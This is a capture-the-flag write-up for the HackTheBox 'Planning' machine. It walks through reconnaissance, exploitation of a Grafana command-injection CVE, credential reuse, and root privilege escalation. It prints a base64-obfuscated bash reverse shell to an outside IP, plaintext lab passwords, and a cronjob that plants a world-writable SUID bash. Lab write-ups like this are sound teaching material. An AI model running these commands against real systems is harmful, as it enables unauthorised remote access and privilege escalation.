TCP Scan#

ip=10.129.100.88
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ip

We can also observe that port 80 is open and running an Apache HTTP server on an Ubuntu server. Additionally, the scan discloses the domain planning.htb:

let’s add it to our /etc/hosts file :

echo "$ip planning.htb" | sudo tee -a /etc/hosts

Port NUMBER: 80#

After visiting the website, we see that it’s for an online education service with functional search capabilities and a contact form, both of which appear to be working. It also lists employee names, which we can compile into a list for potential use in brute-force attacks if needed:

Since we were already provided credentials in the box description and haven’t found a login page yet, let’s start fuzzing:

ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -u http://planning.htb -H "HOST: FUZZ.planning.htb"

grafana    [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 82ms]

echo "$ip grafana.planning.htb" | sudo tee -a /etc/hosts

CVE-2024-9264:#

In the subdomain we discovered, as the name suggests, we found a login page for Grafana v11.0.0, a service that allows admins to query, visualize, and understand collected data:

While researching potential vulnerabilities in Grafana v11.0.0, I identified CVE-2024-9264, which involves command injection and local file inclusion vulnerabilities:

Shell as root in docker:#

Using this POC, we see that indeed the target is vulnerable and we have remote code execution:

echo "YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zNC82NjY2IDA+JjEi" | base64 -d | bash

This gives us a reverse shell in a docker container as root:

shell as enzo:#

By checking the environment variables, we see a plaintext username and password:

GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo

And as expected we can use them to ssh to the target and collect the user flag:

Shell as root:#

While doing some manual enumeration, I stumbled across a file named crontab.db used to back up Grafana, which leaks a plaintext password, but it did not work for the root account:

P4ssw0rdS0pRi0T3c

And we can also see that there are a bunch of open local ports but the one that caught my eye is port 8000, so let’s forward it using a ssh tunnel then check it out:

ssh -L 8000:127.0.0.1:8000 enzo@planning.htb

After forwarding the port, we accessed a login form where I tested various combinations using Enzo’s credentials and the password from the crontab.db file, but none worked until I used root:P4ssw0rdS0pRi0T3c, which granted access. The interface is hosting a crontab GUI application, and it appears that any cronjob configured there will run as root. Let’s create a new cronjob to set up an SUID bash binary:

cp /bin/bash /tmp/rootShell && chmod 4777 /tmp/rootShell

After running it we see that we get our SUID shell in /tmp:

/tmp/rootShell -p

And time to collect the root flag: